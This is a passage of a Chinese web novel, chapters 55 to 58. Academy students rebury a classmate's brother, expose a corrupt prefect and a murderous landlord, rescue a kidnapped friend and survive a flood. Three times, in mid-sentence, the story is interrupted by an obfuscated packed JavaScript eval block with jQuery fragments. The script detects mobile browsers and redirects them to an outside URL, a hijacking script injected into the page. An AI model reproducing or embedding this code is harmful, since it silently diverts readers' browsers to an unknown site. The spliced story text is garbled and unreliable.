那只画着红日和星辰的大纸鸢也被带到了小院。裴逍这才知道,原来这只纸鸢是祁青阳的兄长祁彦辰亲手做了送给他的。
青阳,红日;彦辰,星辰。
祁青阳的兄长送这纸鸢,其中的含义不言而喻。
只可惜天不遂人愿,如今,只能由这纸鸢代替他兄长陪伴祁青阳了。
因为这次游学路线会经过汴州,祁青阳决定将兄长和花芷姑娘的坟茔迁回故土,裴逍便陪同他去了玉山,两人一起将尸骨移出,先放置到了小院。
·
上半学年年最后一日,大考揭榜。裴逍仍是第一,林致远、祁青阳并列第二,百里摇光和夏慕卿与之前差不多名次,姜飒倒是前进到了前三十。
祭酒、监丞等嘱咐了外出游学诸多避忌和注意事项,学子们的游学之旅便要开始了。
第二日一早,裴逍他们这条游学路线的学子们在城东集合出发。
他们这组共有十三人,为了让学子们得到更好的锻炼,此次游学队伍中每位学子最多只允许带一个仆从。但是各家各户府上不放心的,也有不少加派了随从、护卫悄悄跟在游学队伍后,预备着随时去搭手的。
尤其平王府派了不少随从、护卫跟在后,连他们家仆从的马车都比旁人家精致。
祁青阳兄长和花芷姑娘的尸骨安置于一驾马车上,那马车车夫和照看的随从都是姜飒安排的。那马车也跟在了游学队伍最后。
学子们大多是坐在马车里,由可以跟在队中的那个仆从驾着马车出行。
只有裴逍、百里摇光、祁青阳还有严铮几个人是只骑了马,带了一包行李,轻装上路的。
在游学队伍后面,除了各府随从护卫,思卿和曦月也乘坐着马车跟在了队伍后,隔开一段距离,引得国子学队伍中的少年们频频回顾。
“安王和林相怎么会同意她们跟着我们出来的?”姜飒在马上回过头来,对着慕卿乘坐的马车问道。温国公府上的仆从虽驾着马车,但他硬是要跟裴逍、百里摇光和祁青阳一道骑马。
慕卿掀开车窗帘子,轻嗤了一声,“思卿自然是软磨硬泡,缠得老头子实在没办法才同意的。至于曦月,听思卿说,她找了大姐林妃、二姐百里三夫人都与林相说情,又有她兄长林致远在这队里,林相才同意的。”说着,他目光瞟向了前面丞相府的马车。
而林致远此时却没在那马车中,他正坐在最前面阮柏聿的马车中,向阮柏聿请教着诗文上的问题。
他们这一行,前面十几辆马车,加驾马的几骑,后面又断断续续跟了几辆马车和几十个骑马的随从护卫,就这样,浩浩荡荡地出发了。
·
他们人车马一行沿着官道一路向东,昼行夜宿,在第十五日傍晚抵达了汴梁。
大儒讲学要后日才开始。第二日,阮先生便放少年们自行在汴梁城活动了。
一早,裴逍几人与祁青阳载着他兄长和花芷姑娘的尸骨,一同去了祁家。
祁家在汴梁东郊一个村落中,屋舍简陋,三间茅草屋,一个篱笆小院。因常年无人居住,杂草丛生。两间茅草屋分别是兄弟二人和他们母亲休息的卧房。另一件茅草屋是用来生火做饭的柴房。
房屋虽简陋破败,但屋中的陈设却很整齐,兄弟二人住的房间里挂了许多纸鸢、剪纸等手工成品和工具,床铺上整齐摆放了十来部书籍。
几人协助祁青阳清理了房间院落,便一同上山往祁家的坟地行去。
上山路上,几人被一乡邻老丈喊住,“青阳,青阳,是你吗?”
祁青阳回头望了望,笑着喊道,“宋爷爷,是我。”
几人停下脚步,那老丈赶了上来。
“青阳你回来了?”
“嗯。这几位是我在京中国子学的同窗。”
那老丈看了看其他几人,恭敬招呼道,“几位公子。”随后,他看了看几人抬着两个架子,问道,“这是?”
“这是我兄长的尸身,打算迁回来。”祁青阳低声道,声音中难免带了几分悲戚。
老丈那嵌在皱纹中的枯眸里带上了水光,他点了点头,说道,“迁回来好,迁回来好呀。幸亏当年彦辰把你带回来,不然今日祁家连个上坟的都没了。”
祁青阳轻叹了一声,与那老丈话别,引着裴逍几人继续上山。
祁家坟地上已经有三座坟茔,除了祁父和祁母的墓外,却还有一个稍小些的坟茔,上面墓牌上写的是“弟祁彦旭之墓。”看起来很有年头了,甚至比祁母的墓都要更早一些。
姜飒问道,“青阳,你还有个弟弟早就夭折了吗?”
祁青阳点了点头。
“为什么你哥哥取名彦辰、弟弟取名彦旭,单你名字与他们不同呢?”姜飒疑惑问道。
夏慕卿见祁青阳神色低落,戳了戳姜飒。姜飒后知后觉反应过来,悻悻地没再开口。
祁青阳摆放烧着纸钱,过了半晌,方才说道,“其实,我不是兄长的亲弟弟,祁彦旭才是,不过他两岁的时候便夭折了。祁母自那起便得了癔症,精神恍惚。我是兄长在路边捡回来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800043|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,与祁彦旭一般大,祁母把我当成了她的小儿子,兄长对我也如亲弟一般。虽然母亲以为我就是彦旭,但兄长从来没把我当做彦旭的替代,所以给我起了不一样的名字。”
裴逍几人心里不免唏嘘,此时才知祁青阳的身世竟如此坎坷。
·
几人下了山,乘车马回了城,在城中游逛起来。
大夏建朝以来,太平日久,汴梁城中繁华热闹,人物繁阜。举目皆是朱楼画阁,珠帘绣户,宝马香车争相停驻或飞驰于宽阔的街道,叫卖声、乐曲声、管弦乐声等等各种声音回荡在街市上。酒楼、茶坊、各类食店、药店、匹帛店、香料铺、瓦子等等各类店铺鳞次栉比,五行八作,应有尽有。四面八方的人聚集于此,各国商旅往来不绝。集市上可以交易来自各地的奇珍异宝,酒肆里可以吃到天南地北的珍馐美味。
裴逍几人吃吃逛逛一直到戌时初,日头落,天色渐渐暗了下来,便打算回客栈。他们经过汴梁府衙,听得有人在哭喊,祁青阳看了一眼,疾步向那走去。其余几人见此也跟了过去。
“求大人伸冤!”只见一青年全身素白跪在府衙门外,他的声音已经嘶哑,在他旁边,有一人长的白布铺在地上覆盖着什么。府衙大门紧闭,四周也没有其他人,只有远处有些乡民躲得远远的,在看着这边。
“宋大哥?这是发生了什么?”祁青阳走上前问道。
那青年扭头看向祁青阳,愣了片刻方才认出,他双眼瞬间红了,哽咽道,“青阳啊,我爹死了。”
“怎么会这样?我们今日才刚刚见过宋爷爷。”祁青阳震惊道。
那青年哆嗦着手指了指他身边的白布。
祁青阳伸手掀开,白日里方才见过的老人此时双眼紧闭,头上脸上沾染着大片血迹。祁青阳闭上双眼,不忍再看。
“这是怎么回事?”姜飒当先问道。
那青年说道,“城中张员外不知听什么妖道算命说的,说我娘子命格属什么的,好生养,能给他们张家生下麟儿。先是来我们家中,给了一大笔银钱,要我们将娘子借给他们生育。你们说这算什么荒唐事?我们当然不愿。”
“今日我不在,他们又闹到家中,要强行把我娘子带走,我爹不肯,他们便动了手,爹被他们打死了。他们见出了人命,这才走了。可是,我爹他冤啊。我知道府衙审案要验尸,所以还没给爹入土,直接背来了府衙。没想到府衙没人理会我,他们也不替我伸冤。”那青年说着哭了起来。
“咚——咚——咚——”百里摇光不知何时已经站在了府衙门外的登闻鼓前,抡起双臂,狠狠敲起了鼓面,声音震得隔几条街也能听到。
片刻后,一个衙役打开了门,“跟你说了府尹大人外出——”他一脸不耐烦正打算破口大骂,突见登闻鼓前站得不是他预想中的人,又见百里摇光衣着气度不似常人,旋即缓和了语气,客气道,“府尹大人今日外出公干不在府上,小郎君请回吧。”
“他什么时候回来?”百里摇光冷眼问道。
“唉,这说不准,明日府学有活动,府尹大人要去参加。后日——”
百里摇光听到说明日府尹要去参加府学活动,已经转身步下了台阶,没再听那衙役搪塞。
他来到那青年和祁青阳面前说道,“明日府学大儒讲学,我们当众伸冤!”
几个少年互相看了看,点头赞同。
56. 第56章
第二日,汴梁府学。
泮池广场上已经布置好了高台。台上一张长几,几把交椅放于其后。时辰到了,府学学□□尹、徐渭夫子、阮先生、宗先生一同上了高台,坐于交椅之上。
府学学正宣布讲学开始,介绍了几位先生,邀请府尹先来讲话。
那府尹一脸笑意站到台中,正要发表一番陈词,“诸位学子——”
突然一声少年声在场中高高响起,“府尹大人,学生有冤要申!”百里摇光这声灌注了内力,在整个场中荡开了去。
伴着这声,百里摇光和姜飒一前一后抬着宋老丈的尸身,和宋安一同走到了台下。
静默了半晌,整个场子哄地热闹起来,学子们交头接耳讨论眼下是发生了什么事。
台上府尹脸色尴尬难看。
府学学正急忙走到阮先生和宗先生身边询问。阮先生昨晚已经知晓百里摇光几人要做的事,他并未阻拦,此时简短地与府学学正说了下情况。那府学学正神色焦急难看,快步走到府尹身边说明,那府尹冷着脸一甩衣袍,坐回了高台正中的座位上。
府学学正看着台下的百里摇光几人,开口道,“今日是府学邀请徐渭先生来讲学,如有需要府尹大人处理的案件需到府衙去处理。请几位学子先行退下。”
“如果府衙能受理案子,我们何须今日如此?”姜飒冷嘲道。
经此一句,场上的人自然也都明白了是怎么回事,议论声又响了起来。
那府学学正又退回几步,与阮先生和宗先生说道,”两位博士,能否与贵学学子沟通一下,先让讲学顺利进行下去,案件的事,讲学完到府衙去处理?不然今日这样,如何是好?”
宗先生看向阮先生,阮先生一脸为难道,“邹学正,不是我等不愿,只是这几个学子,家世非同一般,又是出了名的倔脾气,他们执意如此,我等也拦不住啊。”
那府尹在旁听到,愤怒起身,道了一句,“不想国子学学子如此不知礼明理”,说完便要走下台离开讲学现场。
他刚走了两个台阶,方才还站在台下的少年突然挡在了他身前。
“是国子学学子不知礼,还是大人与当地豪绅交情匪浅,有意偏袒不予受理民冤?”百里摇光直视着那府尹高声道。
“放肆!”那府尹气急,指着百里摇光斥责道。
这时,坐在台下的林致远突然站起说道,“大夏并没有必须于府衙中才能受理审理案件的律令,今日虽是讲学活动,但讲学目的,也是为了给大夏培养未来的治世之才,今日大人现场审案,不正是给我们言传身教?”
阮先生嘴角微微上扬,好整以暇地看向汴梁府尹。
那府尹鼻子里大声哼着气,脸上阴晴不定。
“呵呵,国子学的学生很不同。”这时,一直没有说话的徐渭夫子方才开了口,“老夫也想旁听下这案子,审完案子再开讲吧,大不了讲学推迟一日。”
事已至此,那府尹只好坐了回去,宣布当场开审,让告人宋安说明案情。
裴逍坐在台下,她和祁青阳没有出面,是百里摇光和姜飒坚持的,她二人自也明白这样做是为了保护他们。这时,她见那府尹朝台下他的手下使了使眼色,那手下便撤出人群,速速往外走了。
裴逍起身追了出去。
因为裴逍拦住了府尹给张员外送信的手下,那被论人张员外被传来时完全是懵的,也没有来得及做什么准备。
这案件简单清晰,又当着这么多人,有官员,有学生,还有徐渭夫子和阮先生等在文人中有影响的先生,且国子生家中多为高官或宗室,那府尹不敢再包庇,只得断尾求生,据律令对张员外进行判罚。
“查张宗嗣,强掳民女为其生子,又纵恶仆杀伤人命,依《大夏刑统》"诸略良人为妻妾者,徒三年;因而杀伤人者,同强盗法",及"主使部曲杀人,同故杀法",决脊杖二十,刺配广南,赔偿告人宋安烧埋银五十两。行凶仆从张瑞、李成处斩刑。”
那张员外一下子失了胆,跌坐在了地上。
“谢大人明察。”宋安激动地磕了几个头,抱起白布覆着的宋老丈,眼含热泪道,“爹,爹,你看到了吗?苍天有眼啊......”
·
祁青阳陪同宋安将宋老丈的尸身送回村里,返回讲堂,见林致远正和徐渭夫子辩论,没过一会,裴逍也加入了,便问旁边的夏慕卿,“这是怎么回事啊?”
“这徐渭先生虽也是当世大儒,但他的许多学术观点与当年的国子监祭酒谢渊先生完全相反。林致远很崇敬谢渊先生,也信奉他的理论,所以便与徐渭夫子讲辩了起来。只是没想到,裴逍平日里不争不抢的,今日竟和林致远一起怼起了徐渭夫子。”
学术讲辩,有时不辩不明,倒也没什么好在意的,讲学三日,裴逍和林致远虽多次提了与徐渭夫子相左的观点,但学子们也都各自有所收获,徐渭先生虽然在最后一日讲学结束时,特意提了他们两人名字,笑着说了句,“国子学这两个学子我可是记住了”,但他实则并未真的生气。
·
三日讲学结束,阮先生带着学子们一行便往西折返,先经洛阳,再回长安。
过了郑州,突然下起了大雨,他们不得不停下,赶到了就近的客栈休息。
谁成想,这雨下起来,竟然三日都没停,他们所有人只得逗留于客栈之中。
这天夜间,不知是因为连日阴雨,天气潮湿,还是什么原因,裴逍一直无法入睡。她听到窗外雨声已经小了,心里想着明日估计就可以动身了。
正在这时,裴逍听到房间外有人喊声和跑动追赶的声音响起,“有贼人!”“快追!”
她挟了长枪,打开房门。
昏暗中,她见一个黑衣蒙面贼人肋下挟了一女子正跑下楼梯,安王府的护卫追在他后面。紧接着,思卿和百里摇光也跟着追了出去。
这客栈里基本被他们一行人住满了,此时,很多房间中的学子都被惊醒,出来看情况。
裴逍两侧房间里分别住着祁青阳和姜飒,此时,他二人却都未出来,裴逍隐隐觉得有些奇怪。
她先敲了祁青阳的房门,里面没有任何动静。她便又去另外一侧姜飒的房门前,他的门外站了一个护卫。
“世子没有出来过。”那护卫与裴逍道。
裴逍点了点头,正欲离开,突然听到房间里有什么响动,她叫了声,“姜飒!”
里面没有应答,裴逍感觉不妙,当即运力抬腿踢开那门,正看见有人影从窗户跃出。裴逍疾跑几步进到屋里,只见姜飒的仆从昏倒在地,而姜飒不知所踪。
“应是被贼人掳走了。”裴逍忙与跟进来的护卫道,“我先去追,你找其他护卫跟来。”
说着她跑到窗边,此处是二楼,她借力从窗户跃下翻滚一下卸力,追着那贼人而去。
那贼人跑到一匹马前,抬手将姜飒丢上马,夺路而走。
裴逍欲解马追击,却又出现了几个贼人,向她攻击过来。裴逍只得回击,一时不得去追姜飒。
幸而那姜飒的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800044|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几个护卫很快赶来,道“裴公子,我等拦着,你先去追世子。”
裴逍便驾马夺路追去。
·
姜飒在马上颠得七荤八素,他方才在屋中听到了裴逍的声音,心里明白裴逍一定会追来,他需要拖延时间。他想了想从怀里掏出一枚从护卫那要来的能制造烟雾的霹雳弹,往马前行的方向扔出。
随即,一片白雾升起,他身下的马和那驾马的黑衣人视力受阻,停了下来,后面跟着的三个黑衣人也同样如此。
但这烟雾很快便散掉了,黑衣人又快速驾马狂奔起来。
姜飒正想掏出最后一枚霹雳弹拖延时间,便听到了后面有马匹追来的声音,他努力扭头去看,夜幕中,远远地看到了一袭浅色衣衫的人追在后面。
他心里又燃起希望,便按住那枚霹雳弹,留待更关键时再用。
裴逍见距离拉近,从怀中掏出一把匕首,脱掉匕套,朝着载了姜飒的那匹马飞掷出去,匕首正中马腿,那马一只后腿受伤无法使力,向一侧倒去。
马上的黑衣人在那马快要跌倒之时,挟了姜飒从马上跃下。他身后一个黑衣人止住马,下马打算将马换给挟制姜飒的那人。另有两个黑衣人骑着马朝裴逍攻来。
在两个黑衣人攻来之际,裴逍抬手先用袖箭射出一箭,将挟制姜飒的黑衣人要换乘的那匹马的腿给伤了,又仗着长枪将攻来的这两个黑衣人的马匹也伤了,暂时阻住了他们骑马带走姜飒。
几个黑衣人见无法骑马,索性其中一人将姜飒挟在腋下,夺路而走。剩下三人全力向裴逍进攻。
裴逍骑马冲杀,仗着骑对步及兵器之长,倒是并没落下风。
姜飒被黑衣人挟在腋下,使劲扭转脖子往回看,远远看见三道黑影倒下,而浅色衣衫手持长枪的身影还端坐在马上,便知裴逍杀掉了那三个人。
他趁挟着他的黑衣人忙于赶路,无暇注意他时,迅速从怀里掏出一把防身的匕首,使劲刺向了那黑衣人抓着他的右臂,那黑衣人吃痛脱手,姜飒摔落在地。
黑衣人正欲换左手来抓姜飒,突然视野里起了一片白雾。
原来是姜飒在黑衣人脚下扔了一颗霹雳弹。随后,他在烟雾中凭着直觉向着裴逍的方向跑去。
裴逍追在后面,见姜飒脱离贼手,烟雾自他身后而起,慢慢将他身影也罩了进去。
裴逍驾马向前冲了一段,止住马,便见姜飒冲出烟雾跑了过来,她弯腰伸手欲拽姜飒上马。这时,一声惨叫从那烟雾中响起。
“不好!还有其他人!”裴逍话音刚落,果见那边烟雾渐渐散开,朦胧之中,一排黑衣蒙面人持弩站立。瞬息间,十几支弩箭射来。
裴逍挥起长枪抵挡了一阵,在那弩箭发射的间隙,一把拉起姜飒,坐到她身前,拨转马头便往回奔,感觉到身后弩箭再次袭来。
“俯身!”
裴逍向前俯低,带着姜飒一起伏在了马背上。但还是略晚了一步,一支弩箭射中了裴逍的后腰。裴逍忍住没发出声音,继续驾着马向前疾驰。
“你受伤了吗?”姜飒问。
“没。”裴逍回应。
那些黑衣人见二人已出了弩箭射程,弃了弩箭飞身向他们追来。
裴逍听到身后动静,用枪尖在马屁股上划了一道,随即翻身跃下马。
“阿逍,你干什么?”姜飒感觉到身后一空,而□□的马吃痛跑得更快了,他惊恐地回头,大喊道。
“你先走!”裴逍回了一声,挥动长枪与那些黑衣人战了起来。
57. 第57章
那马吃痛发了狂,任姜飒怎么勒紧缰绳,都没减速。一会的功夫,姜飒已经离裴逍和那些黑衣人很远了。
姜飒红了眼,仰头大喊,“燕息!救人!”
话音落,几个玄衣男子从林中飞出,向着与姜飒相反的方向快速移动。
·
裴逍虽不知突然加入帮她的几个玄衣男子是何身份,但见他们从姜飒离开的方向赶来,猜测应是温国公府的护卫。
“你们先带姜飒走!这里我来挡一阵。”裴逍道。
其中一男子一边进攻,一边回应道,“世子有令,还请公子先走。”
裴逍见那几人意志坚决,退出了战局,朝着姜飒离开的方向追去。
她跑了约莫半盏茶的时间,见姜飒骑着马返回。那马显然已经换了一匹,他身后不远处跟了两个护卫,共骑一乘。姜飒看到裴逍,大喊道,“上游发了大水,客栈回不得了!”
裴逍轻蹙了眉头,停下脚步。
姜飒驰近,与裴逍道,“上游决堤,发了大水,客栈也会被淹没,阮先生他们已经动身往北边高地避险去了。咱们离那远,来不及去那了,不过此地东南三里外有座香鹿山,咱们可以去那山上避险。”
“其他人呢?”
“他们应该与阮先生一道吧,我府中护卫说其他人都去了。”姜飒方才是半道遇上了他的两个护卫,将他从惊马上解救下来,并告知了消息,他还不知百里摇光、祁青阳此前已经没在客栈中了。
裴逍点了点头,姜飒伸手拉裴逍上马,这才看到裴逍后腰中了一箭。
“阿逍你受伤了!”
“无碍。先走吧。”
姜飒虽气裴逍逞强,但也无可奈何,只得加快驾马,先找地方避险再处理伤情了。
他们出发没多久,天上又下起了大雨。雨水倾盆砸落在他们身上,人甚至都有点喘不上气来。
几人还没到香鹿山,便见那大水已经从西边迅速流了过来,幸而她们骑着马,处于高处且速度快,在那水积高之前赶到了香鹿山。
山上已经有一些在避难的村民,还有一些陆续赶来的人。
他们刚上岸一会,大水便已经没过山脚一些低矮的树木,而那雨丝毫没有变小的势头,他们一行四人只得往山上高处走,找寻看有没有可以避雨的山洞。
·
百里摇光这头,他追着那掳走曦月婢女的贼人出了客栈,那贼人有同伙接应,早已将曦月婢女放到马上,驾马向西离去。百里摇光收拾了那阻拦他的贼人,解了马匹待要追去,见思卿已经从客栈里出来,翻身上马朝着那贼人离开的方向追了去。
百里摇光担心思卿出什么事,也跟了上去。
他们一路向西,驰过几个山头,见有许多人从西面跑来,离得近了,可以看见他们身后有水流快速淌过。
百里摇光拦住一个村民问,“前面发生什么事了?”
“发大水了!别往那边走了!”那村民急慌慌地说了一声,便挣开百里摇光向东跑了。
百里摇光驾马追上思卿急喊,“前面发大水了!我去追人,你速回!”
思卿没有停下马,只侧头回道,“不行!我得去把当归带回来!百里二哥,你先回客栈报信吧!”
百里摇光见思卿意已决,又想到客栈在此处向东几里,此时所有人都还不知道这情况,当务之急,是回去传信,让阮先生和同窗们赶紧找地方避险。
他跟思卿喊了声,“那你注意安全。追不到人,就先回来!”当即掉转马头,向东行去。
没成想等他回到客栈,客栈里已经人去楼空,除了一个不认识的女子外,所有人都不知去向。
“夫人,你可知宿在客栈中的那些学子去何处了?”百里摇光问那女子。
“有人说要发大水了,客栈里的人全都去了北边的芒砀山避险。你说的那些先生学子也去了。”那女子一边焦急地望着西边,一边回道。
百里摇光松了口气,待要出客栈,想起什么,回头问道,“夫人为何不去?”
那夫人仍旧望着西边道,“我要等我的孩子,他被一个人牙子给偷走了,有位好心的公子帮我追去了,我要等他们回来。”
百里摇光剑眉蹙起,劝解道,“可待会大水漫过来,这客栈怕是也会被淹,夫人留在此处太危险了。”
但不管百里摇光怎么劝说,那女子都不愿离开。
百里摇光心想,留在客栈中的慕卿、裴逍几人,以及阮先生和其他同窗们应该都已经去安全的地方避险了,思卿几人追那贼人尚未回来,他不如先留在此处,还能照应下这女子。于是,他便先留在了客栈。
·
裴逍和姜飒在香鹿山上寻了处山洞。
裴逍忍着痛,将那弩箭拔出,用姜飒扯下的中衣,沿着腰绑了一圈,简单包扎了下伤口。随即,她想起祁青阳和百里摇光,还是有些忧心,便向那两个护卫问道,“祁公子和百里少将军也同阮先生一道去北边高地了吗?”
两个护卫互相看了看,其中一人说,“当时平王府的随从带来消息,说要发大水,阮先生当机立断让客栈里所有学子都去北边芒砀山避险。我等得知消息,便速赶来与世子报知。后面客栈中的事情就不知道了。”
姜飒听闻,问裴逍,“青阳和百里摇光不是一直在客栈吗?”
裴逍神色凝重,回应道,“在你被掳走之前,有人劫持了丞相府的人,百里摇光追出去了。祁青阳好像也没在房间里。”
姜飒也担忧起来。
但此时情况不明,外面雨大水势急,他们也做不了什么,只能暗自希望其他几人不要出什么事。
约莫两个时辰后,裴逍靠着洞壁醒来,见姜飒只穿着中衣坐在火边,头一点一点地打着盹。她身上披了一件干的衣袍,正是姜飒所穿的。
她侧耳听了听,雨声小了,便起身将那衣袍披在姜飒身上,走出了山洞。
果见洞外雨小了,裴逍回身与两个护卫轻声交待,“待你们世子醒来,跟他说我去找其他人。你们看顾好他。我会回来找他的。”
裴逍出了山洞,没有当即下山,而是又往山顶走了走,此时,天已蒙蒙亮,裴逍站到了高处,向下俯视观察附近的水流和高地情况。
之前他们所住的客栈已经看不到了,据姜飒所说,现在所处的香鹿山应该是在客栈的东南方向。裴逍向西北方向约莫估到客栈的位置,只见那客栈往北一段距离,有一座比这香鹿山高些的山,客栈西南面有几个丘陵小山,客栈东面树林茂盛,穿过那片林,行
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800045|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个几里,有村落依山而建。那村落便在这香鹿山上的正北方向。
裴逍站在山顶思索片刻后,向北沿着山路走到尽头,已经可以望到那村落了。
裴逍下了山,见此时水面虽然很高,但是水流没有那么急了。她在水边找到一块漂浮的木板,试了试那木板,随后走了上去,手中撑了块窄长的板,如此便有了一艘简易的船,她撑着这简陋的小船,向那村庄划去。
离村落越来越近,裴逍可以看见低一点的民居都被淹了,只有高处的房舍中有人往来的踪迹。
裴逍靠了岸,一路往高处走,见到一户有人的房舍,裴逍走近敲了敲那门。
一个年轻女子开了门,裴逍待要开口,那女子突然高兴地叫了一声,“公子”。
裴逍听闻细看那女子,这才认出,竟是几个月前在京中被她们几人从窦尧臣手里解救的弹琵琶的姑娘。
“原来是姑娘。”裴逍道。
“是啊,公子。”那女子上下看了看裴逍,连忙将裴逍让进了院子,“快快进来避避雨。”
她一边引着裴逍往房舍里走,一边道,“没想到今日连见了两位恩人。”
“两位?”裴逍疑惑问道。
那姑娘笑了笑,指着里面道,“您看。”
裴逍进了屋,见里面一张木桌旁,赫然坐着穿了一身农家女衣裳的思卿。
“你怎么在这?”
“你怎么在这?”
两人同时开口问道。思卿笑了笑,道“你先说。”
裴逍先讲了她这头发生的事,思卿接着解释了她为何会在此。
原来她在和百里摇光分开后,追那贼人时,遇到上游大水被一路冲到了这个村庄,正好遇到了小芹姑娘,也就是此前她们所救的弹琵琶的姑娘。那姑娘当时正在河边,看见了思卿,当即找了人将她救上来。
“如此,那真是要多谢姑娘。”裴逍听闻,起身向小芹姑娘作揖道谢。
小芹局促地站着,不知所措,只是嘴里道,“没什么没什么的,更何况您几位公子小姐之前救过我和爹,这次也是老天爷安排,让我们还恩的。”
“这还真是缘分。”思卿笑着道。
“请问姑娘,村子里可有谁家有小舟或筏子?我想借船去找人。”裴逍看向小芹姑娘问。
“村里吴大哥家有船,也是他帮我救思卿小姐上来的,和我家关系不错,我带你们去。”小芹道。
裴逍和思卿便跟着小芹姑娘到了村里吴小哥家借了船,思卿给了吴小哥一锭银子,吴小哥局促不敢接,“小姐,这太多了,买十几条这船都够了。”
“没事,你先收下吧。”思卿道。
“贵人,现在雨还在下,洪水虽不那么急了,但是你们这么出去,还是危险啊。”吴小哥道。
思卿和裴逍对视了一眼,看出彼此眼中的坚决,于是借了船和斗篷、草帽等雨具,告辞离去。
·
此时天色已经大亮,两人划船往西行去。
约莫快要行驶到之前客栈的位置,裴逍透过雨雾看去,已经见不到任何房屋,那客栈应已被全部淹没,裴逍眉头轻蹙,加快了速度。
前行了一段距离,思卿突然道,“裴公子,我好像听到了百里二哥的声音。”
58. 第58章
裴逍停止了动作,竖起耳朵细听了听,随后向周围四处望去,只见大约百步距离外,一棵树的枝干上站了一个人,那人挥动着双臂,似乎正在向她们呼救。
“在那!”裴逍指给思卿,说完拨起船桨,加速向那处划了过去。
小船渐渐驶近那棵树,树上人的面容越来越清晰,正是百里摇光。他的声音传了过来,“原来是你们啊!”
“对啊,百里二哥,其他人呢?我哥和曦月呢?”思卿问道。
“他们应该都安好。我到客栈报信的时候,他们已经从其他人那里知道要发大水,提前去北边的山上避险了。”
“你找到当归了吗?怎么会和裴逍在一处?”百里摇光问。
“我没追上当归,后来大水冲来,将我一路冲到下游一个村子里,幸而被村里人救了,方才遇到了裴公子。”
“有看到祁青阳吗?”裴逍看向百里摇光问。
“他之前不是在客栈吗?我以为他跟你在一处的。”百里摇光回应道。
裴逍摇了摇头,将船靠近那棵树,这才看到还有一个女子正抱坐在树上。那女子脸色苍白,似乎已经没什么力气了。
百里摇光本欲拉那女子先上船,谁知她仍不愿离开此地。
百里摇光只好先跳上了船。
他一上船,便走近裴逍要夺她手中的桨。
“你受伤了。我来撑船。”
裴逍还没反应过来,桨已被百里摇光夺去。她愣了半晌,方才轻轻扬起了嘴角。
“裴公子受伤了?!我竟然都没注意到,实在是该死,你怎么样了?”思卿懊恼道。
裴逍忙道,“无碍,不必在意。”
从百里摇光口中,裴逍和思卿方才得知现在所处的位置就在那客栈之上,客栈已经完全被淹没。当时眼看客栈最高处的房顶也将要被大水没过,那女子还是不愿离开,百里摇光只得带着她避到了客栈不远处一棵高树之上。两人在树上硬撑了一晚,这才等到了裴逍和思卿经过。
思卿不明白那女子看起来很虚弱,且已疲惫不堪,为什么不离开客栈找安全的地方避险,开口问道,“那夫人为何不愿走?”
“她的孩子被人牙子偷走了,有个人去帮她追那人牙子,一直没回来,她怕自己走了,再也找不回自己的孩子,所以坚持要在这里等。”百里摇光解释道。
那女子仍扒在树上,听到百里摇光他们的对话,哭了起来。
裴逍看向那女子问道,“帮您追人牙子的人可是同我们一般年纪,学子模样的一个少年?”
那女子停止了哭泣,望着裴逍点了点头。
“可是穿了青色的衣裳?”裴逍接着问。
那女子思索了片刻,回应道,“当时天色晚,事态急,我没注意到那公子的服饰。”
“是不是长得眉清目秀,挺好看的?”百里摇光明白了裴逍的意图,补充道。
“是。”那女子回应。
百里摇光看向裴逍,说道,“看来,那人可能就是青阳。”
裴逍点了点头,又问那女子,“当时他们往什么方向去了?”
那女子抓着树干艰难站了起来,四面看看,而后指着一个方向道,“是往西南去了。”
“那少年很可能是我们的同窗,现在我们一道去找他。找到他,可能也就找到您的孩子了。您一同上船吧。”裴逍说道。
那女子听闻方才愿意离开,在他们三人接应下,上了船。
裴逍几人划船往西南而行,远远望见了之前在香鹿山顶看到的丘陵,再前进一段,隐隐听到了婴儿哭声。
“是我的孩子!一定是我的孩子!”那女子突然扒到船头叫道。
裴逍几人加快向那丘陵划去,果见一少年抱着一婴儿往岸边走来,正是祁青阳。裴逍这才放下心来。
祁青阳在山坡上看到有船靠近,便走了下来,没想到正好是裴逍他们。
“快上船!”百里摇光高兴地冲他喊道。
祁青阳上得船来,那女子当先接过孩子查看,见包着那孩子的襁褓竟不太湿,只表面有些水,便想到是祁青阳维护所至,心中感动,向着祁青阳跪下磕头道,“谢公子大恩,救我孩儿,为其避风雨,挡洪水。”
祁青阳有些不知所措,慌忙扶那女子起来,嘴里道,“不必,不必”。
百里摇光在旁轻笑一声道,“夫人,我们这朋友素来仗义,但最怕别人跟他客气行礼,您快起来吧,不然他让着让着再掉进水里去了。”
思卿伸手帮忙扶那女子起身,呵呵笑了起来。
